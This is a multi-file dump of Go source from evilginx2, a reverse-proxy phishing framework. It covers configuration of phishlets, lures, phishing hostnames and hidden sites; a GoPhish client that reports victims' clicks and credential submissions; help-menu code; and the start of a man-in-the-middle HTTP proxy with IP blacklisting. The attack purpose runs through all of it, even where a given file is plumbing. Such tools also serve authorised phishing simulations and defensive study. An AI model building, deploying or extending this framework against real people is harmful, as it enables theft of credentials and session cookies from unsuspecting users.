		_, err := url.ParseRequestURI(_url)
		if err != nil {
			log.Error("invalid URL: %s", err)
			return false
		}
	}
	log.Info("phishlet '%s' unauth_url set to: %s", site, _url)
	c.PhishletConfig(site).UnauthUrl = _url
	c.SavePhishlets()
	return true
}

func (c *Config) SetBaseDomain(domain string) {
	c.general.Domain = domain
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("server domain set to: %s", domain)
	c.cfg.WriteConfig()
}

func (c *Config) SetServerIP(ip_addr string) {
	c.general.OldIpv4 = ip_addr
	c.cfg.Set(CFG_GENERAL, c.general)
	//log.Info("server IP set to: %s", ip_addr)
	c.cfg.WriteConfig()
}

func (c *Config) SetServerExternalIP(ip_addr string) {
	c.general.ExternalIpv4 = ip_addr
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("server external IP set to: %s", ip_addr)
	c.cfg.WriteConfig()
}

func (c *Config) SetServerBindIP(ip_addr string) {
	c.general.BindIpv4 = ip_addr
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("server bind IP set to: %s", ip_addr)
	log.Warning("you may need to restart evilginx for the changes to take effect")
	c.cfg.WriteConfig()
}

func (c *Config) SetHttpsPort(port int) {
	c.general.HttpsPort = port
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("https port set to: %d", port)
	c.cfg.WriteConfig()
}

func (c *Config) SetDnsPort(port int) {
	c.general.DnsPort = port
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("dns port set to: %d", port)
	c.cfg.WriteConfig()
}

func (c *Config) EnableProxy(enabled bool) {
	c.proxyConfig.Enabled = enabled
	c.cfg.Set(CFG_PROXY, c.proxyConfig)
	if enabled {
		log.Info("enabled proxy")
	} else {
		log.Info("disabled proxy")
	}
	c.cfg.WriteConfig()
}

func (c *Config) SetProxyType(ptype string) {
	ptypes := []string{"http", "https", "socks5", "socks5h"}
	if !stringExists(ptype, ptypes) {
		log.Error("invalid proxy type selected")
		return
	}
	c.proxyConfig.Type = ptype
	c.cfg.Set(CFG_PROXY, c.proxyConfig)
	log.Info("proxy type set to: %s", ptype)
	c.cfg.WriteConfig()
}

func (c *Config) SetProxyAddress(address string) {
	c.proxyConfig.Address = address
	c.cfg.Set(CFG_PROXY, c.proxyConfig)
	log.Info("proxy address set to: %s", address)
	c.cfg.WriteConfig()
}

func (c *Config) SetProxyPort(port int) {
	c.proxyConfig.Port = port
	c.cfg.Set(CFG_PROXY, c.proxyConfig.Port)
	log.Info("proxy port set to: %d", port)
	c.cfg.WriteConfig()
}

func (c *Config) SetProxyUsername(username string) {
	c.proxyConfig.Username = username
	c.cfg.Set(CFG_PROXY, c.proxyConfig)
	log.Info("proxy username set to: %s", username)
	c.cfg.WriteConfig()
}

func (c *Config) SetProxyPassword(password string) {
	c.proxyConfig.Password = password
	c.cfg.Set(CFG_PROXY, c.proxyConfig)
	log.Info("proxy password set to: %s", password)
	c.cfg.WriteConfig()
}

func (c *Config) SetGoPhishAdminUrl(k string) {
	u, err := url.ParseRequestURI(k)
	if err != nil {
		log.Error("invalid url: %s", err)
		return
	}

	c.gophishConfig.AdminUrl = u.String()
	c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
	log.Info("gophish admin url set to: %s", u.String())
	c.cfg.WriteConfig()
}

func (c *Config) SetGoPhishApiKey(k string) {
	c.gophishConfig.ApiKey = k
	c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
	log.Info("gophish api key set to: %s", k)
	c.cfg.WriteConfig()
}

func (c *Config) SetGoPhishInsecureTLS(k bool) {
	c.gophishConfig.InsecureTLS = k
	c.cfg.Set(CFG_GOPHISH, c.gophishConfig)
	log.Info("gophish insecure set to: %v", k)
	c.cfg.WriteConfig()
}

func (c *Config) IsLureHostnameValid(hostname string) bool {
	for _, l := range c.lures {
		if l.Hostname == hostname {
			if c.PhishletConfig(l.Phishlet).Enabled {
				return true
			}
		}
	}
	return false
}

func (c *Config) SetSiteEnabled(site string) error {
	pl, err := c.GetPhishlet(site)
	if err != nil {
		log.Error("%v", err)
		return err
	}
	if c.PhishletConfig(site).Hostname == "" {
		return fmt.Errorf("enabling phishlet '%s' requires its hostname to be set up", site)
	}
	if pl.isTemplate {
		return fmt.Errorf("phishlet '%s' is a template - you have to 'create' child phishlet from it, with predefined parameters, before you can enable it.", site)
	}
	c.PhishletConfig(site).Enabled = true
	c.refreshActiveHostnames()
	c.VerifyPhishlets()
	log.Info("enabled phishlet '%s'", site)

	c.SavePhishlets()
	return nil
}

func (c *Config) SetSiteDisabled(site string) error {
	if _, err := c.GetPhishlet(site); err != nil {
		log.Error("%v", err)
		return err
	}
	c.PhishletConfig(site).Enabled = false
	c.refreshActiveHostnames()
	log.Info("disabled phishlet '%s'", site)

	c.SavePhishlets()
	return nil
}

func (c *Config) SetSiteHidden(site string, hide bool) error {
	if _, err := c.GetPhishlet(site); err != nil {
		log.Error("%v", err)
		return err
	}
	c.PhishletConfig(site).Visible = !hide
	c.refreshActiveHostnames()

	if hide {
		log.Info("phishlet '%s' is now hidden and all requests to it will be redirected", site)
	} else {
		log.Info("phishlet '%s' is now reachable and visible from the outside", site)
	}
	c.SavePhishlets()
	return nil
}

func (c *Config) SetRedirectorsDir(path string) {
	c.redirectorsDir = path
}

func (c *Config) ResetAllSites() {
	c.phishletConfig = make(map[string]*PhishletConfig)
	c.SavePhishlets()
}

func (c *Config) IsSiteEnabled(site string) bool {
	return c.PhishletConfig(site).Enabled
}

func (c *Config) IsSiteHidden(site string) bool {
	return !c.PhishletConfig(site).Visible
}

func (c *Config) GetEnabledSites() []string {
	var sites []string
	for k, o := range c.phishletConfig {
		if o.Enabled {
			sites = append(sites, k)
		}
	}
	return sites
}

func (c *Config) SetBlacklistMode(mode string) {
	if stringExists(mode, BLACKLIST_MODES) {
		c.blacklistConfig.Mode = mode
		c.cfg.Set(CFG_BLACKLIST, c.blacklistConfig)
		c.cfg.WriteConfig()
	}
	log.Info("blacklist mode set to: %s", mode)
}

func (c *Config) SetUnauthUrl(_url string) {
	c.general.UnauthUrl = _url
	c.cfg.Set(CFG_GENERAL, c.general)
	log.Info("unauthorized request redirection URL set to: %s", _url)
	c.cfg.WriteConfig()
}

func (c *Config) EnableAutocert(enabled bool) {
	c.general.Autocert = enabled
	if enabled {
		log.Info("autocert is now enabled")
	} else {
		log.Info("autocert is now disabled")
	}
	c.cfg.Set(CFG_GENERAL, c.general)
	c.cfg.WriteConfig()
}

func (c *Config) refreshActiveHostnames() {
	c.activeHostnames = []string{}
	sites := c.GetEnabledSites()
	for _, site := range sites {
		pl, err := c.GetPhishlet(site)
		if err != nil {
			continue
		}
		for _, host := range pl.GetPhishHosts(false) {
			c.activeHostnames = append(c.activeHostnames, strings.ToLower(host))
		}
	}
	for _, l := range c.lures {
		if stringExists(l.Phishlet, sites) {
			if l.Hostname != "" {
				c.activeHostnames = append(c.activeHostnames, strings.ToLower(l.Hostname))
			}
		}
	}
}

func (c *Config) GetActiveHostnames(site string) []string {
	var ret []string
	sites := c.GetEnabledSites()
	for _, _site := range sites {
		if site == "" || _site == site {
			pl, err := c.GetPhishlet(_site)
			if err != nil {
				continue
			}
			for _, host := range pl.GetPhishHosts(false) {
				ret = append(ret, strings.ToLower(host))
			}
		}
	}
	for _, l := range c.lures {
		if site == "" || l.Phishlet == site {
			if l.Hostname != "" {
				hostname := strings.ToLower(l.Hostname)
				ret = append(ret, hostname)
			}
		}
	}
	return ret
}

func (c *Config) IsActiveHostname(host string) bool {
	host = strings.ToLower(host)
	if host[len(host)-1:] == "." {
		host = host[:len(host)-1]
	}
	for _, h := range c.activeHostnames {
		if h == host {
			return true
		}
	}
	return false
}

func (c *Config) AddPhishlet(site string, pl *Phishlet) {
	c.phishletNames = append(c.phishletNames, site)
	c.phishlets[site] = pl
	c.VerifyPhishlets()
}

func (c *Config) AddSubPhishlet(site string, parent_site string, customParams map[string]string) error {
	pl, err := c.GetPhishlet(parent_site)
	if err != nil {
		return err
	}
	_, err = c.GetPhishlet(site)
	if err == nil {
		return fmt.Errorf("phishlet '%s' already exists", site)
	}
	sub_pl, err := NewPhishlet(site, pl.Path, &customParams, c)
	if err != nil {
		return err
	}
	sub_pl.ParentName = parent_site

	c.phishletNames = append(c.phishletNames, site)
	c.phishlets[site] = sub_pl
	c.VerifyPhishlets()

	return nil
}

func (c *Config) DeleteSubPhishlet(site string) error {
	pl, err := c.GetPhishlet(site)
	if err != nil {
		return err
	}
	if pl.ParentName == "" {
		return fmt.Errorf("phishlet '%s' can't be deleted - you can only delete child phishlets.", site)
	}

	c.phishletNames = removeString(site, c.phishletNames)
	delete(c.phishlets, site)
	delete(c.phishletConfig, site)
	c.SavePhishlets()
	return nil
}

func (c *Config) LoadSubPhishlets() {
	var subphishlets []*SubPhishlet
	c.cfg.UnmarshalKey(CFG_SUBPHISHLETS, &subphishlets)
	for _, spl := range subphishlets {
		err := c.AddSubPhishlet(spl.Name, spl.ParentName, spl.Params)
		if err != nil {
			log.Error("phishlets: %s", err)
		}
	}
}

func (c *Config) SaveSubPhishlets() {
	var subphishlets []*SubPhishlet
	for _, pl := range c.phishlets {
		if pl.ParentName != "" {
			spl := &SubPhishlet{
				Name:       pl.Name,
				ParentName: pl.ParentName,
				Params:     pl.customParams,
			}
			subphishlets = append(subphishlets, spl)
		}
	}

	c.cfg.Set(CFG_SUBPHISHLETS, subphishlets)
	c.cfg.WriteConfig()
}

func (c *Config) VerifyPhishlets() {
	hosts := make(map[string]string)

	for site, pl := range c.phishlets {
		if pl.isTemplate {
			continue
		}
		for _, ph := range pl.proxyHosts {
			phish_host := combineHost(ph.phish_subdomain, ph.domain)
			orig_host := combineHost(ph.orig_subdomain, ph.domain)
			if c_site, ok := hosts[phish_host]; ok {
				log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", phish_host, site, c_site)
			} else if c_site, ok := hosts[orig_host]; ok {
				log.Warning("phishlets: hostname '%s' collision between '%s' and '%s' phishlets", orig_host, site, c_site)
			}
			hosts[phish_host] = site
			hosts[orig_host] = site
		}
	}
}

func (c *Config) CleanUp() {

	for k := range c.phishletConfig {
		_, err := c.GetPhishlet(k)
		if err != nil {
			delete(c.phishletConfig, k)
		}
	}
	c.SavePhishlets()
	/*
		var sites_enabled []string
		var sites_hidden []string
		for k := range c.siteDomains {
			_, err := c.GetPhishlet(k)
			if err != nil {
				delete(c.siteDomains, k)
			} else {
				if c.IsSiteEnabled(k) {
					sites_enabled = append(sites_enabled, k)
				}
				if c.IsSiteHidden(k) {
					sites_hidden = append(sites_hidden, k)
				}
			}
		}
		c.cfg.Set(CFG_SITE_DOMAINS, c.siteDomains)
		c.cfg.Set(CFG_SITES_ENABLED, sites_enabled)
		c.cfg.Set(CFG_SITES_HIDDEN, sites_hidden)
		c.cfg.WriteConfig()*/
}

func (c *Config) AddLure(site string, l *Lure) {
	c.lures = append(c.lures, l)
	c.lureIds = append(c.lureIds, GenRandomToken())
	c.cfg.Set(CFG_LURES, c.lures)
	c.cfg.WriteConfig()
}

func (c *Config) SetLure(index int, l *Lure) error {
	if index >= 0 && index < len(c.lures) {
		c.lures[index] = l
	} else {
		return fmt.Errorf("index out of bounds: %d", index)
	}
	c.cfg.Set(CFG_LURES, c.lures)
	c.cfg.WriteConfig()
	return nil
}

func (c *Config) DeleteLure(index int) error {
	if index >= 0 && index < len(c.lures) {
		c.lures = append(c.lures[:index], c.lures[index+1:]...)
		c.lureIds = append(c.lureIds[:index], c.lureIds[index+1:]...)
	} else {
		return fmt.Errorf("index out of bounds: %d", index)
	}
	c.cfg.Set(CFG_LURES, c.lures)
	c.cfg.WriteConfig()
	return nil
}

func (c *Config) DeleteLures(index []int) []int {
	tlures := []*Lure{}
	tlureIds := []string{}
	di := []int{}
	for n, l := range c.lures {
		if !intExists(n, index) {
			tlures = append(tlures, l)
			tlureIds = append(tlureIds, c.lureIds[n])
		} else {
			di = append(di, n)
		}
	}
	if len(di) > 0 {
		c.lures = tlures
		c.lureIds = tlureIds
		c.cfg.Set(CFG_LURES, c.lures)
		c.cfg.WriteConfig()
	}
	return di
}

func (c *Config) GetLure(index int) (*Lure, error) {
	if index >= 0 && index < len(c.lures) {
		return c.lures[index], nil
	} else {
		return nil, fmt.Errorf("index out of bounds: %d", index)
	}
}

func (c *Config) GetLureByPath(site string, host string, path string) (*Lure, error) {
	for _, l := range c.lures {
		if l.Phishlet == site {
			pl, err := c.GetPhishlet(site)
			if err == nil {
				if host == l.Hostname || host == pl.GetLandingPhishHost() {
					if l.Path == path {
						return l, nil
					}
				}
			}
		}
	}
	return nil, fmt.Errorf("lure for path '%s' not found", path)
}

func (c *Config) GetPhishlet(site string) (*Phishlet, error) {
	pl, ok := c.phishlets[site]
	if !ok {
		return nil, fmt.Errorf("phishlet '%s' not found", site)
	}
	return pl, nil
}

func (c *Config) GetPhishletNames() []string {
	return c.phishletNames
}

func (c *Config) GetSiteDomain(site string) (string, bool) {
	if o, ok := c.phishletConfig[site]; ok {
		return o.Hostname, ok
	}
	return "", false
}

func (c *Config) GetSiteUnauthUrl(site string) (string, bool) {
	if o, ok := c.phishletConfig[site]; ok {
		return o.UnauthUrl, ok
	}
	return "", false
}

func (c *Config) GetBaseDomain() string {
	return c.general.Domain
}

func (c *Config) GetServerExternalIP() string {
	return c.general.ExternalIpv4
}

func (c *Config) GetServerBindIP() string {
	return c.general.BindIpv4
}

func (c *Config) GetHttpsPort() int {
	return c.general.HttpsPort
}

func (c *Config) GetDnsPort() int {
	return c.general.DnsPort
}

func (c *Config) GetRedirectorsDir() string {
	return c.redirectorsDir
}

func (c *Config) GetBlacklistMode() string {
	return c.blacklistConfig.Mode
}

func (c *Config) IsAutocertEnabled() bool {
	return c.general.Autocert
}

func (c *Config) GetGoPhishAdminUrl() string {
	return c.gophishConfig.AdminUrl
}

func (c *Config) GetGoPhishApiKey() string {
	return c.gophishConfig.ApiKey
}

func (c *Config) GetGoPhishInsecureTLS() bool {
	return c.gophishConfig.InsecureTLS
}


================================================
FILE: core/gophish.go
================================================
package core

import (
	"crypto/tls"
	"encoding/json"
	"fmt"
	"net/url"

	"github.com/go-resty/resty/v2"
)

type GoPhish struct {
	AdminUrl    *url.URL
	ApiKey      string
	InsecureTLS bool
}

type ResultRequest struct {
	Address   string `json:"address"`
	UserAgent string `json:"user_agent"`
}

func NewGoPhish() *GoPhish {
	return &GoPhish{}
}

func (o *GoPhish) Setup(adminUrl string, apiKey string, insecureTLS bool) error {

	var u *url.URL = nil
	var err error
	if adminUrl != "" {
		u, err = url.ParseRequestURI(adminUrl)
		if err != nil {
			return err
		}
	}
	o.AdminUrl = u
	o.ApiKey = apiKey
	o.InsecureTLS = insecureTLS
	return nil
}

func (o *GoPhish) Test() error {
	err := o.validateSetup()
	if err != nil {
		return err
	}

	var reqUrl url.URL = *o.AdminUrl
	reqUrl.Path = fmt.Sprintf("/api/campaigns")
	return o.apiRequest(reqUrl.String(), nil)
}

func (o *GoPhish) ReportEmailOpened(rid string, address string, userAgent string) error {
	err := o.validateSetup()
	if err != nil {
		return err
	}

	req := ResultRequest{
		Address:   address,
		UserAgent: userAgent,
	}

	content, err := json.Marshal(req)
	if err != nil {
		return err
	}

	var reqUrl url.URL = *o.AdminUrl
	reqUrl.Path = fmt.Sprintf("/api/results/%s/open", rid)
	return o.apiRequest(reqUrl.String(), content)
}

func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, userAgent string) error {
	err := o.validateSetup()
	if err != nil {
		return err
	}

	req := ResultRequest{
		Address:   address,
		UserAgent: userAgent,
	}

	content, err := json.Marshal(req)
	if err != nil {
		return err
	}

	var reqUrl url.URL = *o.AdminUrl
	reqUrl.Path = fmt.Sprintf("/api/results/%s/click", rid)
	return o.apiRequest(reqUrl.String(), content)
}

func (o *GoPhish) ReportCredentialsSubmitted(rid string, address string, userAgent string) error {
	err := o.validateSetup()
	if err != nil {
		return err
	}

	req := ResultRequest{
		Address:   address,
		UserAgent: userAgent,
	}

	content, err := json.Marshal(req)
	if err != nil {
		return err
	}

	var reqUrl url.URL = *o.AdminUrl
	reqUrl.Path = fmt.Sprintf("/api/results/%s/submit", rid)
	return o.apiRequest(reqUrl.String(), content)
}

func (o *GoPhish) apiRequest(reqUrl string, content []byte) error {

	var err error
	var resp *resty.Response
	cl := resty.New()

	cl.SetTLSClientConfig(&tls.Config{
		InsecureSkipVerify: o.InsecureTLS,
	})

	req := cl.R().
		SetHeader("Content-Type", "application/json").
		SetAuthToken(o.ApiKey)

	if content != nil {
		resp, err = req.SetBody(content).Post(reqUrl)
	} else {
		resp, err = req.Get(reqUrl)
	}

	if err != nil {
		return err
	}
	switch resp.StatusCode() {
	case 200:
		return nil
	case 401:
		return fmt.Errorf("invalid api key")
	default:
		return fmt.Errorf("status: %d", resp.StatusCode())
	}
}

func (o *GoPhish) validateSetup() error {
	if o.AdminUrl == nil {
		return fmt.Errorf("admin url is not set")
	}
	if o.ApiKey == "" {
		return fmt.Errorf("api key is not set")
	}
	return nil
}


================================================
FILE: core/help.go
================================================
package core

import (
	"fmt"

	"github.com/chzyer/readline"
	"github.com/fatih/color"

	"github.com/kgretzky/evilginx2/log"
)

type Help struct {
	cmds          map[string][]string
	categories    []string
	line_help     map[string]string
	cmd_names     []string
	sub_disp      map[string][]string
	cmd_infos     map[string]string
	sub_cmds      map[string]map[string]string
	cmd_layers    map[string]int
	cmd_completer map[string]*readline.PrefixCompleter
}

func NewHelp() (*Help, error) {
	h := &Help{
		cmds:          make(map[string][]string),
		categories:    []string{},
		line_help:     make(map[string]string),
		cmd_names:     []string{},
		sub_disp:      make(map[string][]string),
		cmd_infos:     make(map[string]string),
		sub_cmds:      make(map[string]map[string]string),
		cmd_layers:    make(map[string]int),
		cmd_completer: make(map[string]*readline.PrefixCompleter),
	}
	return h, nil
}

func (h *Help) AddCommand(cmd string, category string, cmd_help string, info string, layer int, completer *readline.PrefixCompleter) {
	if _, ok := h.cmds[category]; !ok {
		h.cmds[category] = []string{}
		h.categories = append(h.categories, category)
	}

	h.cmd_infos[cmd] = info
	h.sub_cmds[cmd] = make(map[string]string)
	h.sub_disp[cmd] = []string{}
	h.cmds[category] = append(h.cmds[category], cmd)
	h.cmd_names = append(h.cmd_names, cmd)
	h.line_help[cmd] = cmd_help
	h.cmd_layers[cmd] = layer
	h.cmd_completer[cmd] = completer
}

func (h *Help) AddSubCommand(cmd string, sub_cmds []string, sub_disp string, cmd_help string) {
	if subm, ok := h.sub_cmds[cmd]; ok {
		subm[sub_disp] = cmd_help
	}
	if _, ok := h.sub_disp[cmd]; ok {
		h.sub_disp[cmd] = append(h.sub_disp[cmd], sub_disp)
	}
}

func (h *Help) GetCommands() []string {
	return h.cmd_names
}

func (h *Help) GetPrefixCommands(layer int) []string {
	var ret []string

	for cmd, c_layer := range h.cmd_layers {
		if layer&c_layer != 0 {
			ret = append(ret, cmd)
		}
	}
	return ret
}

func (h *Help) GetPrefixCompleter(layer int) *readline.PrefixCompleter {
	pc := readline.NewPrefixCompleter()
	cmds := h.GetPrefixCommands(layer)
	var top []readline.PrefixCompleterInterface
	for _, cmd := range cmds {
		if completer, ok := h.cmd_completer[cmd]; ok {
			top = append(top, completer)
		}
	}
	top = append(top, readline.PcItem("help", readline.PcItemDynamic(h.helpPrefixCompleter)))
	pc.SetChildren(top)
	return pc
}

func (h *Help) Print(layer int) {
	var out string
	yw := color.New(color.FgYellow)
	lb := color.New(color.FgGreen)
	for n, cat := range h.categories {
		if n > 0 {
			out += "\n"
		}
		cmds, ok := h.cmds[cat]
		if ok {
			out += fmt.Sprintf(" %s\n\n", yw.Sprint(cat))
			var rows, vals []string
			for _, cmd := range cmds {
				pcmd := cmd
				if layer&h.cmd_layers[cmd] != 0 {
					pcmd = lb.Sprint(cmd)
				}
				line_help, _ := h.line_help[cmd]
				rows = append(rows, pcmd)
				vals = append(vals, line_help)
			}
			out += AsRows(rows, vals)
		}
	}
	log.Printf("\n%s\n", out)
}

func (h *Help) PrintBrief(cmd string) error {
	yw := color.New(color.FgYellow)
	var out string
	if _, ok := h.line_help[cmd]; !ok {
		return fmt.Errorf("command not found")
	}
	out += fmt.Sprintf(" %s\n\n", yw.Sprint(cmd))
	if cmd_info, ok := h.cmd_infos[cmd]; ok {
		if len(cmd_info) > 0 {
			max_line := 64
			n_line := 0
			var out_info []rune
			out_info = append(out_info, ' ')
			r_info := []rune(cmd_info)
			for _, r := range r_info {
				if r == ' ' && n_line > max_line {
					out_info = append(out_info, '\n')
					n_line = 0
				} else if r == '\n' {
					out_info = append(out_info, '\n')
					out_info = append(out_info, ' ')
					n_line = 0
					continue
				} else {
					n_line++
				}
				out_info = append(out_info, r)
			}
			cmd_info = string(out_info)
			out += fmt.Sprintf("%s\n", cmd_info)
		}
	}
	if subm, ok := h.sub_cmds[cmd]; ok {
		if subn, ok := h.sub_disp[cmd]; ok {
			if len(subn) > 0 {
				out += "\n"
			}
			var rows, vals []string
			for _, k := range subn {
				kk := k
				if len(kk) > 0 {
					kk = " " + kk
				}
				rows = append(rows, cmd+kk)
				vals = append(vals, subm[k])
			}
			out += AsDescription(rows, vals)
		}
	}
	log.Printf("\n%s\n", out)
	return nil
}

func (h *Help) helpPrefixCompleter(s string) []string {
	return h.GetCommands()
}


================================================
FILE: core/http_proxy.go
================================================
/*

This source file is a modified version of what was taken from the amazing bettercap (https://github.com/bettercap/bettercap) project.
Credits go to Simone Margaritelli (@evilsocket) for providing awesome piece of code!

*/

package core

import (
	"bufio"
	"bytes"
	"crypto/rand"
	"crypto/rc4"
	"crypto/sha256"
	"crypto/tls"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"html"
	"io"
	"io/ioutil"
	"net"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"regexp"
	"sort"
	"strconv"
	"strings"
	"sync"
	"time"

	"golang.org/x/net/proxy"

	"github.com/elazarl/goproxy"
	"github.com/fatih/color"
	"github.com/go-acme/lego/v3/challenge/tlsalpn01"
	"github.com/inconshreveable/go-vhost"
	http_dialer "github.com/mwitkow/go-http-dialer"

	"github.com/kgretzky/evilginx2/database"
	"github.com/kgretzky/evilginx2/log"
)

const (
	CONVERT_TO_ORIGINAL_URLS = 0
	CONVERT_TO_PHISHING_URLS = 1
)

const (
	HOME_DIR = ".evilginx"
)

const (
	httpReadTimeout  = 45 * time.Second
	httpWriteTimeout = 45 * time.Second
)

// original borrowed from Modlishka project (https://github.com/drk1wi/Modlishka)
var MATCH_URL_REGEXP = regexp.MustCompile(`\b(http[s]?:\/\/|\\\\|http[s]:\\x2F\\x2F)(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`)
var MATCH_URL_REGEXP_WITHOUT_SCHEME = regexp.MustCompile(`\b(([A-Za-z0-9-]{1,63}\.)?[A-Za-z0-9]+(-[a-z0-9]+)*\.)+(arpa|root|aero|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|bot|inc|game|xyz|cloud|live|today|online|shop|tech|art|site|wiki|ink|vip|lol|club|click|ac|ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cx|cy|cz|dev|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|([0-9]{1,3}\.{3}[0-9]{1,3})\b`)

type HttpProxy struct {
	Server            *http.Server
	Proxy             *goproxy.ProxyHttpServer
	crt_db            *CertDb
	cfg               *Config
	db                *database.Database
	bl                *Blacklist
	gophish           *GoPhish
	sniListener       net.Listener
	isRunning         bool
	sessions          map[string]*Session
	sids              map[string]int
	cookieName        string
	last_sid          int
	developer         bool
	ip_whitelist      map[string]int64
	ip_sids           map[string]string
	auto_filter_mimes []string
	ip_mtx            sync.Mutex
	session_mtx       sync.Mutex
}

type ProxySession struct {
	SessionId    string
	Created      bool
	PhishDomain  string
	PhishletName string
	Index        int
}

// set the value of the specified key in the JSON body
func SetJSONVariable(body []byte, key string, value interface{}) ([]byte, error) {
	var data map[string]interface{}
	if err := json.Unmarshal(body, &data); err != nil {
		return nil, err
	}
	data[key] = value
	newBody, err := json.Marshal(data)
	if err != nil {
		return nil, err
	}
	return newBody, nil
}

func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
	p := &HttpProxy{
		Proxy:             goproxy.NewProxyHttpServer(),
		Server:            nil,
		crt_db:            crt_db,
		cfg:               cfg,
		db:                db,
		bl:                bl,
		gophish:           NewGoPhish(),
		isRunning:         false,
		last_sid:          0,
		developer:         developer,
		ip_whitelist:      make(map[string]int64),
		ip_sids:           make(map[string]string),
		auto_filter_mimes: []string{"text/html", "application/json", "application/javascript", "text/javascript", "application/x-javascript"},
	}

	p.Server = &http.Server{
		Addr:         fmt.Sprintf("%s:%d", hostname, port),
		Handler:      p.Proxy,
		ReadTimeout:  httpReadTimeout,
		WriteTimeout: httpWriteTimeout,
	}

	if cfg.proxyConfig.Enabled {
		err := p.setProxy(cfg.proxyConfig.Enabled, cfg.proxyConfig.Type, cfg.proxyConfig.Address, cfg.proxyConfig.Port, cfg.proxyConfig.Username, cfg.proxyConfig.Password)
		if err != nil {
			log.Error("proxy: %v", err)
			cfg.EnableProxy(false)
		} else {
			log.Info("enabled proxy: " + cfg.proxyConfig.Address + ":" + strconv.Itoa(cfg.proxyConfig.Port))
		}
	}

	p.cookieName = strings.ToLower(GenRandomString(8)) // TODO: make cookie name identifiable
	p.sessions = make(map[string]*Session)
	p.sids = make(map[string]int)

	p.Proxy.Verbose = false

	p.Proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
		req.URL.Scheme = "https"
		req.URL.Host = req.Host
		p.Proxy.ServeHTTP(w, req)
	})

	p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)

	p.Proxy.OnRequest().
		DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
			ps := &ProxySession{
				SessionId:    "",
				Created:      false,
				PhishDomain:  "",
				PhishletName: "",
				Index:        -1,
			}
			ctx.UserData = ps
			hiblue := color.New(color.FgHiBlue)

			// handle ip blacklist
			from_ip := strings.SplitN(req.RemoteAddr, ":", 2)[0]

			// handle proxy headers
			proxyHeaders := []string{"X-Forwarded-For", "X-Real-IP", "X-Client-IP", "Connecting-IP", "True-Client-IP", "Client-IP"}
			for _, h := range proxyHeaders {
				origin_ip := req.Header.Get(h)
				if origin_ip != "" {
					from_ip = strings.SplitN(origin_ip, ":", 2)[0]
					break
				}
			}

			if p.cfg.GetBlacklistMode() != "off" {
				if p.bl.IsBlacklisted(from_ip) {
					if p.bl.IsVerbose() {
						log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
					}
					return p.blockRequest(req)
				}
				if p.cfg.GetBlacklistMode() == "all" {
